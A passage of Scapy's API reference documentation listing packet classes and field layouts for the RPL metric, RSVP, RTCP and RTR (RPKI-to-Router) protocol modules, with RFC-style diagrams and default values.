+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. RPLDAGMCLinkLatency                     


RPLDAGMCLinkLatency fields






	otype

	ByteEnumField

	5



	resflags

	BitField  (5 bits)

	0



	P

	BitField  (1 bit)

	0



	C

	BitField  (1 bit)

	0



	O

	BitField  (1 bit)

	0



	R

	BitField  (1 bit)

	0



	A

	BitEnumField

	0



	prec

	BitField  (4 bits)

	0



	len

	ByteField

	None



	Latency

	IntField

	1















	
class scapy.contrib.rpl_metrics.RPLDAGMCLinkQualityLevel(_pkt, /, *, otype=6, resflags=0, P=0, C=0, O=0, R=0, A=0, prec=0, len=None, res=0, val=0, counter=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rpl_metrics.py#L179-L191]

	Bases: DAGMCObj

DAG Metric: Link Quality Level (LQL)


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OTYPE     | RESFLAGS|P|C|O|R|  A  |  PREC |      LEN      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      RES      | VAL | COUNTER |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. RPLDAGMCLinkQualityLevel                   


RPLDAGMCLinkQualityLevel fields






	otype

	ByteEnumField

	6



	resflags

	BitField  (5 bits)

	0



	P

	BitField  (1 bit)

	0



	C

	BitField  (1 bit)

	0



	O

	BitField  (1 bit)

	0



	R

	BitField  (1 bit)

	0



	A

	BitEnumField

	0



	prec

	BitField  (4 bits)

	0



	len

	ByteField

	None



	res

	ByteField

	0



	val

	BitField  (3 bits)

	0



	counter

	BitField  (5 bits)

	0















	
class scapy.contrib.rpl_metrics.RPLDAGMCLinkThroughput(_pkt, /, *, otype=4, resflags=0, P=0, C=0, O=0, R=0, A=0, prec=0, len=None, Throughput=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rpl_metrics.py#L153-L163]

	Bases: DAGMCObj

DAG Metric: Link Throughput


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OTYPE     | RESFLAGS|P|C|O|R|  A  |  PREC |      LEN      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           THROUGHPUT                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. RPLDAGMCLinkThroughput                    


RPLDAGMCLinkThroughput fields






	otype

	ByteEnumField

	4



	resflags

	BitField  (5 bits)

	0



	P

	BitField  (1 bit)

	0



	C

	BitField  (1 bit)

	0



	O

	BitField  (1 bit)

	0



	R

	BitField  (1 bit)

	0



	A

	BitEnumField

	0



	prec

	BitField  (4 bits)

	0



	len

	ByteField

	None



	Throughput

	IntField

	1















	
class scapy.contrib.rpl_metrics.RPLDAGMCNSA(_pkt, /, *, otype=1, resflags=0, P=0, C=0, O=0, R=0, A=0, prec=0, len=None, res=0, flags=0, Agg=0, Overload=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rpl_metrics.py#L105-L118]

	Bases: DAGMCObj

DAG Metric: Node State and Attributes


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OTYPE     | RESFLAGS|P|C|O|R|  A  |  PREC |      LEN      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      RES      |   FLAGS   |A|O|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. RPLDAGMCNSA                         


RPLDAGMCNSA fields






	otype

	ByteEnumField

	1



	resflags

	BitField  (5 bits)

	0



	P

	BitField  (1 bit)

	0



	C

	BitField  (1 bit)

	0



	O

	BitField  (1 bit)

	0



	R

	BitField  (1 bit)

	0



	A

	BitEnumField

	0



	prec

	BitField  (4 bits)

	0



	len

	ByteField

	None



	res

	ByteField

	0



	flags

	BitField  (6 bits)

	0



	Agg

	BitField  (1 bit)

	0



	Overload

	BitField  (1 bit)

	0















	
class scapy.contrib.rpl_metrics.RPLDAGMCNodeEnergy(_pkt, /, *, otype=2, resflags=0, P=0, C=0, O=0, R=0, A=0, prec=0, len=None, flags=0, I=0, T=0, E=0, E_E=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rpl_metrics.py#L121-L135]

	Bases: DAGMCObj

DAG Metric: Node Energy


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OTYPE     | RESFLAGS|P|C|O|R|  A  |  PREC |      LEN      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| FLAGS |I| T |E|      E E      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. RPLDAGMCNodeEnergy                      


RPLDAGMCNodeEnergy fields






	otype

	ByteEnumField

	2



	resflags

	BitField  (5 bits)

	0



	P

	BitField  (1 bit)

	0



	C

	BitField  (1 bit)

	0



	O

	BitField  (1 bit)

	0



	R

	BitField  (1 bit)

	0



	A

	BitEnumField

	0



	prec

	BitField  (4 bits)

	0



	len

	ByteField

	None



	flags

	BitField  (4 bits)

	0



	I

	BitField  (1 bit)

	0



	T

	BitField  (2 bits)

	0



	E

	BitField  (1 bit)

	0



	E_E

	ByteField

	0















	
class scapy.contrib.rpl_metrics.RPLOptDAGMC(_pkt, /, *, otype=2, len=None, autopad=0, options=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rpl_metrics.py#L234-L243]

	Bases: _DAGMetricContainer

Control Option: DAG Metric Container


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OTYPE     |      LEN      |    AUTOPAD    |    OPTIONS    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                         Fig. RPLOptDAGMC                         


RPLOptDAGMC fields






	otype

	ByteEnumField

	2



	len

	ByteField

	None



	autopad

	_PhantomAutoPadField

	0



	options

	_OptionsField

	[]

















            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.rsvp

RSVP layer


	
class scapy.contrib.rsvp.RSVP(_pkt, /, *, Version=1, Flags=1, Class=1, chksum=None, TTL=1, dataofs=0, Length=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rsvp.py#L28-L47]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|VERSION| FLAGS |     CLASS     |             CHKSUM            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TTL      |    DATAOFS    |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. RSVP                             


RSVP fields






	Version

	BitField  (4 bits)

	1



	Flags

	BitField  (4 bits)

	1



	Class

	ByteEnumField

	1



	chksum

	XShortField

	None



	TTL

	ByteField

	1



	dataofs

	XByteField

	0



	Length

	ShortField

	None











	
payload_guess

	Possible sublayers:
RSVP_Object






	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rsvp.py#L38-L47]

	








	
class scapy.contrib.rsvp.RSVP_Data(_pkt, /, *, Data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rsvp.py#L149-L155]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rsvp.py#L154-L155]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. RSVP_Data                          


RSVP_Data fields






	Data

	StrLenField

	b''















	
class scapy.contrib.rsvp.RSVP_HOP(_pkt, /, *, neighbor='0.0.0.0', inface=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rsvp.py#L158-L165]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rsvp.py#L164-L165]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            NEIGHBOR                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             INFACE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. RSVP_HOP                           


RSVP_HOP fields






	neighbor

	IPField

	'0.0.0.0'



	inface

	BitField  (32 bits)

	1















	
class scapy.contrib.rsvp.RSVP_LabelReq(_pkt, /, *, reserve=1, L3PID=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rsvp.py#L192-L199]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rsvp.py#L198-L199]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            RESERVE            |             L3PID             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. RSVP_LabelReq                        


RSVP_LabelReq fields






	reserve

	ShortField

	1



	L3PID

	ShortField

	1















	
class scapy.contrib.rsvp.RSVP_Object(_pkt, /, *, Length=4, Class=1, C_Type=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rsvp.py#L128-L146]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             LENGTH            |     CLASS     |     C TYPE    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. RSVP_Object                         


RSVP_Object fields






	Length

	ShortField

	4



	Class

	ByteEnumField

	1



	C_Type

	ByteField

	1











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rsvp.py#L134-L146]

	








	
class scapy.contrib.rsvp.RSVP_SenderTSPEC(_pkt, /, *, Msg_Format=0, reserve=0, Data_Length=4, Srv_hdr=1, reserve2=0, Srv_Length=4, Tokens=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rsvp.py#L177-L189]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rsvp.py#L188-L189]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   MSG FORMAT  |    RESERVE    |          DATA LENGTH          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    SRV HDR    |    RESERVE2   |           SRV LENGTH          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             TOKENS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. RSVP_SenderTSPEC                       


RSVP_SenderTSPEC fields






	Msg_Format

	ByteField

	0



	reserve

	ByteField

	0



	Data_Length

	ShortField

	4



	Srv_hdr

	ByteField

	1



	reserve2

	ByteField

	0



	Srv_Length

	ShortField

	4



	Tokens

	StrLenField

	b''















	
class scapy.contrib.rsvp.RSVP_SessionAttrb(_pkt, /, *, Setup_priority=1, Hold_priority=1, flags=1, Name_length=None, Name=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rsvp.py#L202-L213]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rsvp.py#L212-L213]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| SETUP PRIORITY| HOLD PRIORITY |     FLAGS     |  NAME LENGTH  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |              NAME             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. RSVP_SessionAttrb                      


RSVP_SessionAttrb fields






	Setup_priority

	ByteField

	1



	Hold_priority

	ByteField

	1



	flags

	ByteField

	1



	Name_length

	FieldLenField

	None



	Name

	StrLenField

	b''















	
class scapy.contrib.rsvp.RSVP_Time(_pkt, /, *, refresh=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rsvp.py#L168-L174]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rsvp.py#L173-L174]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            REFRESH                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. RSVP_Time                          


RSVP_Time fields






	refresh

	BitField  (32 bits)

	1

















            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.rtcp

RTCP (rfc 3550)

Use bind_layers(UDP, RTCP, dport=…) to start using it


	
class scapy.contrib.rtcp.RTCP(_pkt, /, *, version=2, padding=0, count=0, packet_type=0, length=None, sourcesync=0, sender_info=<SenderInfo  |>, report_blocks=[], sdes_chunks=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtcp.py#L112-L148]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|VER|P|  COUNT  |  PACKET TYPE  |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           SOURCESYNC                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          SENDER INFO          |         REPORT BLOCKS         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          SDES CHUNKS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. RTCP                             


RTCP fields






	version

	BitField  (2 bits)

	2



	padding

	BitField  (1 bit)

	0



	count

	BitFieldLenField  (5 bits)

	0



	packet_type

	ByteEnumField

	0



	length

	LenField

	None



	sourcesync

	IntField (Cond)

	0



	sender_info

	PacketField (Cond)

	<SenderInfo  |>



	report_blocks

	PacketListField (Cond)

	[]



	sdes_chunks

	PacketListField (Cond)

	[]











	
post_build(pkt, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtcp.py#L144-L148]

	








	
class scapy.contrib.rtcp.ReceptionReport(_pkt, /, *, sourcesync=None, fraction_lost=None, cumulative_lost=None, highest_seqnum_recv=None, interarrival_jitter=None, last_SR_timestamp=None, delay_since_last_SR=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtcp.py#L58-L71]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtcp.py#L70-L71]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           SOURCESYNC                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| FRACTION LOST |                CUMULATIVE LOST                |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |              HIGHEST SEQNUM RECV              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |              INTERARRIVAL JITTER              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |               LAST SR TIMESTAMP               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |              DELAY SINCE LAST SR              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. ReceptionReport                       


ReceptionReport fields






	sourcesync

	IntField

	None



	fraction_lost

	ByteField

	None



	cumulative_lost

	X3BytesField

	None



	highest_seqnum_recv

	IntField

	None



	interarrival_jitter

	IntField

	None



	last_SR_timestamp

	IntField

	None



	delay_since_last_SR

	IntField

	None















	
class scapy.contrib.rtcp.SDESChunk(_pkt, /, *, sourcesync=None, items=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtcp.py#L99-L109]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           SOURCESYNC                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             ITEMS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. SDESChunk                          


SDESChunk fields






	sourcesync

	IntField

	None



	items

	PacketListField

	[]















	
class scapy.contrib.rtcp.SDESItem(_pkt, /, *, chunk_type=None, length=None, value=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtcp.py#L87-L96]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtcp.py#L95-L96]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   CHUNK TYPE  |     LENGTH    |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. SDESItem                           


SDESItem fields






	chunk_type

	ByteEnumField

	None



	length

	FieldLenField

	None



	value

	StrLenField

	None















	
class scapy.contrib.rtcp.SenderInfo(_pkt, /, *, ntp_timestamp=None, rtp_timestamp=None, sender_packet_count=None, sender_octet_count=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtcp.py#L45-L55]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtcp.py#L54-L55]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         NTP TIMESTAMP                         |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         RTP TIMESTAMP                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      SENDER PACKET COUNT                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       SENDER OCTET COUNT                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. SenderInfo                          


SenderInfo fields






	ntp_timestamp

	LongField

	None



	rtp_timestamp

	IntField

	None



	sender_packet_count

	IntField

	None



	sender_octet_count

	IntField

	None

















            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.rtr

RTR

Based on RTR RFC 6810 https://tools.ietf.org/html/rfc6810 for version 0
Based on RTR RFC 8210 https://tools.ietf.org/html/rfc8210 for version 1


	
class scapy.contrib.rtr.RTR(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtr.py#L305-L326]

	Bases: Packet

Dummy RPKI to Router generic packet for pre-sorting the packet type
eg. https://tools.ietf.org/html/rfc6810#section-5.2


	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtr.py#L314-L326]

	Attribution of correct type depending on version and pdu_type










	
class scapy.contrib.rtr.RTRCacheReset(_pkt, /, *, rtr_version=0, pdu_type=8, reserved=0, length=8)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtr.py#L213-L225]

	Bases: Packet

Cache Reset packet from section 5.9
https://tools.ietf.org/html/rfc6810#section-5.9


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  RTR VERSION  |    PDU TYPE   |            RESERVED           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             LENGTH                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. RTRCacheReset                        


RTRCacheReset fields






	rtr_version

	ByteEnumField

	0



	pdu_type

	ByteEnumField

	8



	reserved

	ShortField

	0



	length

	IntField

	8















	
class scapy.contrib.rtr.RTRCacheResponse(_pkt, /, *, rtr_version=0, pdu_type=3, session_id=0, length=8)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtr.py#L112-L127]

	Bases: Packet

Cache Response packet from section 5.5
https://tools.ietf.org/html/rfc6810#section-5.5


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  RTR VERSION  |    PDU TYPE   |           SESSION ID          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             LENGTH                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. RTRCacheResponse                       


RTRCacheResponse fields






	rtr_version

	ByteEnumField

	0



	pdu_type

	ByteEnumField

	3



	session_id

	ShortField

	0



	length

	IntField

	8











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtr.py#L126-L127]

	








	
class scapy.contrib.rtr.RTREndofDatav0(_pkt, /, *, rtr_version=0, pdu_type=7, session_id=0, length=12, serial_number=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtr.py#L178-L191]

	Bases: Packet

End of Data packet from version 0 standard section 5.8
https://tools.ietf.org/html/rfc6810#section-5.8


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  RTR VERSION  |    PDU TYPE   |           SESSION ID          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             LENGTH                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         SERIAL NUMBER                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. RTREndofDatav0                        


RTREndofDatav0 fields






	rtr_version

	ByteEnumField

	0



	pdu_type

	ByteEnumField

	7



	session_id

	ShortField

	0



	length

	IntField

	12



	serial_number

	IntField

	0















	
class scapy.contrib.rtr.RTREndofDatav1(_pkt, /, *, rtr_version=1, pdu_type=7, session_id=0, length=24, serial_number=0, refresh_interval=0, retry_interval=0, expire_interval=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtr.py#L194-L210]

	Bases: Packet

End of Data packet from version 1 standard section 5.8
https://tools.ietf.org/html/rfc8210#section-5.8


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  RTR VERSION  |    PDU TYPE   |           SESSION ID          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             LENGTH                            |
